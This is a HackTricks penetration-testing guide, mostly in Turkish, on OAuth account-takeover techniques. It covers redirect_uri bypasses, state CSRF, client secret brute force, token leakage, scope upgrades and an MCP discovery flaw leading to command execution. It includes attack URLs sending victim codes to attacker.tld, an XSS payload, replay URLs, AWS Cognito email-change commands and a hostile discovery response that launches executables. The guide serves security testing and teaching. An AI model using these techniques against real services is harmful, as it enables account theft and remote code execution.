OAuth ile Hesap Ele Geçirme

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

OAuth çeşitli sürümler sunar; temel bilgiler için OAuth 2.0 documentation adresine bakılabilir. Bu tartışma öncelikle yaygın olarak kullanılan OAuth 2.0 authorization code grant type üzerine odaklanır ve bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesine veya hesabın üzerinde işlem yapmasına izin veren bir yetkilendirme çerçevesi sağlar (the authorization server).

Varsayımsal bir site olan https://example.com, özel olanlar da dahil tüm sosyal medya gönderilerinizi görüntülemek üzere tasarlanmış olsun. Bunu gerçekleştirmek için OAuth 2.0 kullanılır. https://example.com, sosyal medya gönderilerinize erişmek için izninizi isteyecektir. Sonuç olarak, https://socialmedia.com üzerinde bir onay ekranı görüntülenecek ve burada talep edilen izinler ve istekte bulunan geliştirici gösterilecektir. Siz onay verdiğinizde, https://example.com sizin adınıza gönderilerinize erişim yetkisi kazanır.

OAuth 2.0 çerçevesinde aşağıdaki bileşenleri anlamak önemlidir:

  • resource owner: Siz, yani kullanıcı/varlık, sosyal medya hesabınızın gönderileri gibi kaynağınıza erişime izin verirsiniz.
  • resource server: Uygulama access token’ı resource owner adına aldıktan sonra kimlik doğrulanmış istekleri yöneten sunucu, örn. https://socialmedia.com.
  • client application: resource owner’den yetki isteyen uygulama, örn. https://example.com.
  • authorization server: resource owner’ın başarılı şekilde kimlik doğrulamasını ve yetkilendirmesini takiben client application’a access tokens veren sunucu, örn. https://socialmedia.com.
  • client_id: Uygulama için genel, benzersiz bir tanımlayıcı.
  • client_secret: Sadece uygulama ve authorization server tarafından bilinen gizli bir anahtar; access_tokens oluşturmak için kullanılır.
  • response_type: Talep edilen token türünü belirten bir değer, örn. code.
  • scope: client application’ın resource owner’dan talep ettiği erişim düzeyi.
  • redirect_uri: Kullanıcının yetkilendirme sonrası yönlendirileceği URL. Genellikle önceden kayıtlı redirect URL ile eşleşmelidir.
  • state: Kullanıcının authorization server’a yönlendirilip geri gelmesi sırasında veriyi korumak için kullanılan bir parametre. Benzersizliği, bir CSRF koruması mekanizması olarak kritik öneme sahiptir.
  • grant_type: Grant türünü ve döndürülecek token türünü belirten parametre.
  • code: Authorization server’dan gelen authorization code; client application tarafından client_id ve client_secret ile birlikte access_token almak için kullanılır.
  • access_token: client application’ın resource owner adına API istekleri yapmak için kullandığı token.
  • refresh_token: Uygulamanın kullanıcıyı yeniden istemeden yeni bir access_token almasını sağlar.

Akış

Gerçek OAuth akışı aşağıdaki şekilde işler:

  1. https://example.com adresine gidersiniz ve “Integrate with Social Media” düğmesine tıklarsınız.
  2. Site, https://socialmedia.com adresine bir istek gönderir ve https://example.com’un uygulamasına gönderilerinize erişim izni vermeniz için sizden yetki ister. İstek şu şekilde yapılandırılır:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Ardından size bir onay sayfası gösterilir.
  2. Onayınızın ardından, Social Media redirect_uri’ye code ve state parametreleriyle bir yanıt gönderir:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com bu codeu, client_id ve client_secret ile birlikte kullanarak sizin adınıza bir sunucu tarafı isteği yapar ve bir access_token elde eder; bu, onayladığınız izinlere erişim sağlar:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Son olarak süreç, https://example.com sitenizin API çağrısı yapmak için sizin access_token’ınızı kullanmasıyla sonuçlanır ve Social Media’ya erişir

Vulnerabilities

Açık redirect_uri

Per RFC 6749 §3.1.2, authorization server yalnızca önceden kayıtlı, tam eşleşen redirect URI’lerine tarayıcıyı yönlendirmelidir. Buradaki herhangi bir zaafiyet, bir saldırganın kurbanı kötü amaçlı bir authorization URL’si üzerinden geçirip IdP’nin kurbanın code (ve state) değerini doğrudan saldırganın uç noktasına göndermesine izin verir; saldırgan daha sonra bu kodu kullanıp token’ları ele geçirebilir.

Tipik saldırı iş akışı:

  1. https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback şeklinde bir URL oluşturup kurbana gönderin.
  2. Kurban kimlik doğrulaması yapar ve izinleri onaylar.
  3. IdP, attacker.tld/callback?code=<victim-code>&state=... adresine yönlendirir; saldırgan isteği kaydeder ve hemen kodu takas ederek token’ları alır.

Sınanması gereken yaygın doğrulama hataları:

  • No validation – herhangi bir absolute URL kabul edilir, sonuçta anında code hırsızlığı olur.
  • Weak substring/regex checks on the host – evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com veya match.com@evil.com gibi benzer görünümlülerle atlatma.
  • IDN homograph mismatches – doğrulama punycode formu (xn--) üzerinde yapılır, ancak tarayıcı saldırganın kontrol ettiği Unicode domain’e yönlendirir.
  • Arbitrary paths on an allowed host – redirect_uri’yi /openredirect?next=https://attacker.tld veya herhangi bir XSS/kullanıcı-icerik uç noktasına yönlendirmek, zincirlenen yönlendirmeler, Referer başlıkları veya enjekte edilmiş JavaScript yoluyla kodun sızmasına neden olabilir.
  • Directory constraints without normalization – /oauth/* gibi desenler /oauth/../anything ile atlatılabilir.
  • Wildcard subdomains – *.example.com kabul edilmesi, herhangi bir takeover (dangling DNS, S3 bucket, vb.) durumunda anında geçerli bir callback sağlar.
  • Non-HTTPS callbacks – http:// URI’lerine izin verilmesi, ağ saldırganlarına (Wi-Fi, kurumsal proxy) kodu iletim sırasında yakalama fırsatı verir.

Ayrıca yardımcı redirect-tarzı parametreleri (client_uri, policy_uri, tos_uri, initiate_login_uri, vb.) ve OpenID discovery document (/.well-known/openid-configuration) içindeki ek uç noktaları da aynı doğrulama hatalarını miras alıp almadıkları için gözden geçirin.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

redirect_uri’yi “owned/first-party domains” ile sınırlamak, herhangi bir allowlisted domain herhangi bir attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, vb.) açıyorsa işe yaramaz. Eğer OAuth/federated login flow returns tokens in the URL (query veya hash), bir saldırgan şunları yapabilir:

  1. Önceden bir token oluşturmak için meşru bir akış başlatır (ör. çok adımlı Accounts Center/FXAuth akışında bir etoken).
  2. Kurbana, allowlisted domain’i redirect_uri/base_uri olarak ayarlayan ancak next/path’i saldırganın kontrolündeki bir alana yönlendiren bir authorization URL’si gönderir (ör. https://apps.facebook.com/<attacker_app>).
  3. Kurban onayladıktan sonra IdP, hassas değerlerin URL’de olduğu şekilde saldırganın kontrolündeki path’e yönlendirir (token, blob, kodlar, vb.).
  4. O sayfadaki JavaScript window.location’ı okuyup bu değerleri domain “trusted” olsa bile dışarı aktarır.
  5. Yakalanan değerleri, sadece redirect ile taşınan token’ları bekleyen downstream ayrıcalıklı uç noktalara karşı replay eder. Örnekler FXAuth akışından:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

Yönlendirme (redirect) uygulamasında XSS

Bu bug bounty raporunda https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html belirtildiği gibi, kullanıcı kimlik doğrulamasından sonra redirect URL’nin sunucunun yanıtında yansıtılıyor olması ve bunun XSS’e karşı savunmasız olması mümkün olabilir. Test etmek için olası payload:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - state parametresinin uygunsuz işlenmesi

state parametresi Authorization Code flow CSRF token’ıdır: client her tarayıcı örneği için kriptografik olarak rastgele bir değer üretmeli, yalnızca o tarayıcının okuyabileceği bir yerde saklamalı (çerez, local storage vb.), yetkilendirme isteğinde göndermeli ve aynı değeri döndürmeyen herhangi bir yanıtı reddetmelidir. Değer statik, öngörülebilir, isteğe bağlı veya kullanıcının oturumuna bağlı değilse, saldırgan kendi OAuth akışını tamamlayabilir, son ?code= isteğini yakalayabilir (göndermeden) ve daha sonra kurban tarayıcısını o isteği yeniden oynatmaya zorlayarak kurban hesabının saldırganın IdP profiline bağlanmasına neden olabilir.

Yeniden oynatma deseni her zaman aynıdır:

  1. Saldırgan kendi hesabıyla IdP’ye kimlik doğrulaması yapar ve code (ve varsa state) içeren son redirect’i yakalar.
  2. O isteği bırakır, URL’i saklar ve daha sonra herhangi bir CSRF ilkelini (link, iframe, otomatik gönderilen form) kullanarak kurban tarayıcısının onu yüklemesini zorlar.
  3. Eğer client state’i zorunlu kılmazsa, uygulama saldırganın yetkilendirme sonucunu tüketir ve saldırganı kurbanın uygulama hesabına giriş yapmış olarak kaydeder.

Testler sırasında state işlemleri için pratik kontrol listesi:

  • state tamamen yok – parametre hiç görünmüyorsa, tüm oturum açma CSRF’ye açıktır.
  • state zorunlu değil – başlangıç isteğinden çıkarın; IdP hâlâ client’ın kabul ettiği kodları veriyorsa, savunma isteğe bağlıdır.
  • Döndürülen state doğrulanmıyor – yanıttaki değeri değiştirin (Burp, MITM proxy). Uyuşmayan değerlerin kabul edilmesi, saklanan token’ın hiç karşılaştırılmadığı anlamına gelir.
  • Öngörülebilir veya yalnızca veri odaklı state – birçok uygulama redirect yollarını veya JSON blob’larını state içine rastgelelik katmadan koyar, bu da saldırganların geçerli değerleri tahmin edip akışları yeniden oynatmasına izin verir. Verileri kodlamadan önce her zaman güçlü entropi ekleyin (önek veya sonek olarak).
  • state fixation – uygulama kullanıcılara state değerini sağlamasına izin veriyorsa (ör. özel hazırlanmış authorization URL’leri aracılığıyla) ve bunu akış boyunca yeniden kullanıyorsa, saldırgan bilinen bir değeri kilitleyip kurbanlar arasında yeniden kullanabilir.

PKCE, yetki kodunu bir code verifier ile bağlayarak state’i tamamlayabilir (özellikle public clients için), ancak web client’ları yine de kullanıcılar arası CSRF/account-linking hatalarını önlemek için state’i takip etmelidir.

Pre Account Takeover

  1. Hesap Oluştururken E-posta Doğrulaması Olmadan: Saldırganlar kurbanın e-postasını kullanarak önceden bir hesap oluşturabilir. Eğer kurban daha sonra giriş için üçüncü taraf bir hizmet kullanırsa, uygulama istemeden bu üçüncü taraf hesabı saldırganın önceden oluşturduğu hesapla bağlayabilir ve yetkisiz erişime yol açabilir.
  2. Gevşek OAuth E-posta Doğrulamasının Sömürülmesi: Saldırganlar e-postaları doğrulamayan OAuth hizmetlerini kullanarak hizmete kayıt olabilir ve ardından hesap e-postasını kurbanın e-postasına değiştirebilir. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla.

Sırların Açığa Çıkması

client_id kasıtlı olarak herkese açıktır, ancak client_secret hiçbir şekilde son kullanıcılar tarafından kurtarılamaz olmamalıdır. Authorization Code dağıtımları client_secret’i mobile APKs, desktop clients, or single-page apps içinde gömülü olarak teslim ederse, paketi indirebilen herkese bu kimlik bilgilerini vermiş olur. Public clients’ı her zaman şu şekilde inceleyin:

  • APK/IPA, desktop installer veya Electron uygulamasını açıp client_secret’i, JSON’e decode olan Base64 blob’ları veya sabit kodlanmış OAuth endpoint’lerini arayın.
  • Paketlenmiş config dosyalarını (plist, JSON, XML) veya dekompile edilmiş stringleri client kimlik bilgileri için inceleyin.

Saldırgan gizli bilgiyi çıkardıktan sonra, meşru uygulamayı dahil etmeden bağımsız olarak /token’a erişip access/refresh token’lar basmak için sadece herhangi bir kurban yetkilendirme code’unu (zayıf bir redirect_uri, loglar vb. aracılığıyla) çalması yeterlidir. Public/native client’ları secret tutamaz şeklinde kabul edin — bunun yerine statik bir sırrın yerine, her örneğe özel bir code verifier’ın varlığını kanıtlamak için PKCE (RFC 7636) kullanılmalıdır. Test sırasında PKCE’nin zorunlu olup olmadığını ve backend’in client_secret veya geçerli bir code_verifier’ı eksik bırakan token exchange’lerini gerçekten reddedip reddetmediğini doğrulayın.

Client Secret Bruteforce

Bir servis sağlayıcının client_secret’ini identity provider ile birlikte bruteforce etmeyi deneyebilir ve böylece hesap çalmaya çalışabilirsiniz.
Brute-force isteği şu şekilde görünebilir:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to postMessage events and then send the current location.href/referrer to backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web Storage – localStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Diğer uygulamaların token’larının kötüye kullanımı

As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.

This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.

Two links & cookie

According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.

To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt won’t inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.

Prompt Interaction Bypass

As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.

response_mode

As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:

  • response_mode=query -> Kod bir GET parametresi içinde sağlanır: ?code=2397rf3gu93f
  • response_mode=fragment -> Kod URL fragment parametresi içinde sağlanır: #code=2397rf3gu93f
  • response_mode=form_post -> Kod, code adlı bir input içeren bir POST formu içinde sağlanır ve değeri
  • response_mode=web_message -> Kod bir post message ile gönderilir: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:

  1. IdP authorization URL’sini <iframe sandbox="allow-forms allow-scripts allow-same-origin"> içine yükleyin.
  2. Fake butonları gizli Allow/Approve kontrolleri ile hizalamak için absolute positioning/opacity numaralarını kullanın.
  3. Opsiyonel olarak parametreleri (scopes, redirect URI) önceden doldurun ki çalınan onay hemen attacker’a fayda sağlasın.

Test sırasında IdP sayfalarının ya X-Frame-Options: DENY/SAMEORIGIN ya da kısıtlayıcı bir Content-Security-Policy: frame-ancestors 'none' gönderdiğini doğrulayın. Eğer hiçbiri yoksa, riski NCC Group’s clickjacking PoC generator gibi araçlarla gösterin ve bir victim’in attacker’ın uygulamasını ne kadar kolay onayladığını kaydedin. Ek payload fikirleri için bkz. Clickjacking.

OAuth ROPC flow - 2 FA bypass

According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.

ATO on web page redirecting based on open redirect to referrer

This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:

  1. Victim access the attackers web page
  2. The victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters using as referrer the attackers website.
  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter (victim web) with 30X code which still keeps the attackers website in the referer.
  4. The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the respose_type was id_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.

Önemli Noktalar:

  • Dynamic Client Registration genelde /register yoluna eşlenir ve client_name, client_secret, redirect_uris gibi detayların yanı sıra logo veya JSON Web Key Sets (JWKs) için URL’leri POST istekleriyle kabul eder.
  • Bu özellik RFC7591 ve OpenID Connect Registration 1.0 spesifikasyonlarına uyar; bu spesifikasyonlar SSRF’ye açık olabilecek parametreleri içerir.
  • Kayıt süreci sunucuları birkaç yolla SSRF’ye maruz bırakabilir:
    • logo_uri: Client uygulamasının logosu için bir URL; sunucu tarafından fetch edilmesi durumunda SSRF tetiklenebilir veya URL yanlış ele alınırsa XSS’e yol açabilir.
    • jwks_uri: Client’ın JWK dokümanı için bir URL; kötü niyetli olarak oluşturulursa sunucunun attacker kontrollü bir sunucuya outbound istek yapmasına neden olabilir.
    • sector_identifier_uri: redirect_uris dizisini içeren bir JSON referansı; sunucu bunu fetch ederse SSRF fırsatı yaratabilir.
    • request_uris: Client için izin verilen request URI’lerini listeler; sunucu yetkilendirme başlangıcında bu URI’leri fetch ediyorsa istismar edilebilir.

İstismar Stratejisi:

  • logo_uri, jwks_uri veya sector_identifier_uri gibi parametrelere kötü amaçlı URL’ler vererek yeni bir client kaydı yapıldığında SSRF tetiklenebilir.
  • request_uris üzerinden doğrudan istismar whitelist kontrolleriyle kısıtlanmış olsa da, önceden kayıtlı ve attacker kontrollü bir request_uri sağlamak yetkilendirme aşamasında SSRF’ye olanak tanıyabilir.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.

Attack workflow

  1. Point the desktop agent to a hostile MCP/OAuth server (npx mcp-remote https://evil). The agent receives 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Client, sağlanan URI için OS handler’ı başlatır. Windows file:/c:/windows/system32/calc.exe /c"powershell -enc ..." gibi payload’ları; macOS/Linux file:///Applications/Calculator.app/... veya kayıtlıysa cmd://bash -lc '<payload>' gibi custom schemes’i kabul eder.
  2. Bu, herhangi bir kullanıcı etkileşiminden önce gerçekleştiği için, istemciyi saldırgan sunucusuyla konuşacak şekilde yapılandırmak tek başına kod çalıştırmaya yol açar.

How to test

  • Keşfi HTTP(S) üzerinden yapan ve dönen endpoint’leri yerel olarak açan herhangi bir OAuth-capable masaüstü/agent’i hedefleyin (Electron apps, CLI helpers, thick clients).
  • Discovery yanıtını intercept edin veya barındırın ve authorization_endpoint, device_authorization_endpoint veya benzeri alanları file://, cmd://, UNC yolları veya diğer tehlikeli schemes ile değiştirin.
  • İstemcinin scheme/host doğrulayıp doğrulamadığını gözlemleyin. Doğrulama eksikliği, kullanıcı bağlamında anında yürütme ile sonuçlanır ve sorunu kanıtlar.
  • Farklı schemes ile tekrarlayarak tam attack surface’i haritalayın (ör. ms-excel:, data:text/html,, custom protocol handlers) ve çapraz-platform erişimi gösterin.

OAuth providers Race Conditions

Test ettiğiniz platform bir OAuth provider ise sıralı Yarış Durumlarını test etmek için bunu okuyun.

Mutable Claims Attack

OAuth’da sub alanı bir kullanıcıyı benzersiz şekilde tanımlar, ancak format Authorization Server’a göre değişir. Kullanıcı tanımlamasını standartlaştırmak için bazı client’lar email veya user handle’ları kullanır. Ancak bu risklidir çünkü:

  • Bazı Authorization Server’lar bu özelliklerin (ör. email) immutable kalmasını garanti etmez.
  • Bazı implementasyonlarda—örneğin “Login with Microsoft”—client email alanına dayanır; bu alan Entra ID içinde kullanıcı tarafından kontrol edilir ve doğrulanmamıştır.
  • Bir saldırgan bunu, kendi Azure AD organizasyonunu (ör. doyensectestorg gibi) oluşturarak ve Microsoft login yaparak suiistimal edebilir.
  • Object ID (sub içinde saklanan) immutable ve güvenli olsa da, mutable email alanına dayanmak account takeover’a imkan verebilir (ör. victim@gmail.com gibi bir hesabın ele geçirilmesi).

Client Confusion Attack

Bir Client Confusion Attack’te, OAuth Implicit Flow kullanan bir uygulama nihai access token’ın özel olarak kendi Client ID’si için oluşturulduğunu doğrulayamaz. Bir saldırgan Google’ın OAuth Implicit Flow’unu kullanan halka açık bir web site kurar, binlerce kullanıcıyı giriş yapmaları için kandırır ve böylece saldırgana ait site için oluşturulmuş access token’ları toplar. Bu kullanıcıların aynı zamanda token’ın Client ID’sini doğrulamayan başka bir vulnerable sitede hesapları varsa, saldırgan toplanan token’ları yeniden kullanarak mağdurların hesaplarına impersonate yapabilir ve hesapları ele geçirebilir.

Scope Upgrade Attack

Authorization Code Grant türü, kullanıcı verilerinin iletimi için güvenli server-to-server iletişimini içerir. Ancak, Authorization Server Access Token Request içindeki scope parametresine (RFC’de tanımlı olmayan bir parametre) örtük olarak güvenirse, kötü amaçlı bir uygulama yetki kodunun ayrıcalıklarını daha yüksek bir scope isteyerek yükseltebilir. Access Token oluşturulduktan sonra Resource Server bunun doğrulanmasını yapmak zorundadır: JWT token’lar için bu, JWT imzasını kontrol etmeyi ve client_id ile scope gibi verileri çıkarmayı içerir; rastgele string token’lar için ise sunucu token detaylarını almak üzere Authorization Server’a sorgu yapmalıdır.

Redirect Scheme Hijacking

Mobil OAuth implementasyonlarında, uygulamalar Authorization Code içeren redirect’leri almak için custom URI schemes kullanır. Ancak bir cihazda aynı scheme’i birden fazla app kaydedebileceği için, redirect URI yalnızca meşru client tarafından kontrol ediliyor varsayımı bozulur. Örneğin Android’de com.example.app:// gibi bir Intent URI, bir app’in intent-filter’ında tanımlanan scheme ve opsiyonel filtrelere göre yakalanır. Android’in intent çözümlemesi özellikle sadece scheme belirtildiyse geniş olabileceğinden, bir saldırgan özenle hazırlanmış bir intent filter ile kötü amaçlı bir app kaydederek authorization code’u hijack edebilir. Bu, birden fazla app intent’i handle etmeye uygun olduğunda kullanıcı etkileşimiyle veya Ostorlab’ın assessment flowchart’ında detaylandırıldığı gibi fazla spesifik filtreleri suiistimal eden bypass teknikleriyle account takeover’a olanak tanıyabilir.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin